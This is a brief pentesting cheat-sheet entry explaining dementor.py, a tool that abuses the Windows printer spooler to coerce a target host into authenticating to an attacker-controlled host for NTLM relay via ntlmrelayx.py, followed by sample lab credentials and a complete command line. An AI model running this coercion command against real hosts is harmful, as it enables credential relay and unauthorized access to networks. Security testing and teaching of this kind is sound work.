dementor.py interacts with the printer spooler on a host to trigger an authentication from the target IP to an attacker controlled host (usually an SMB or HTTP server). This captured authentication can then be relayed to authenticated to other hosts. See more in ntlmrelayx.py.
Target IP: 10.10.10.1 Attacker IP: 10.10.10.2 Domain: test.local Username: john Password: password123
python3 dementor.py -u john -p password123 -d test.local 10.10.10.2 10.10.10.1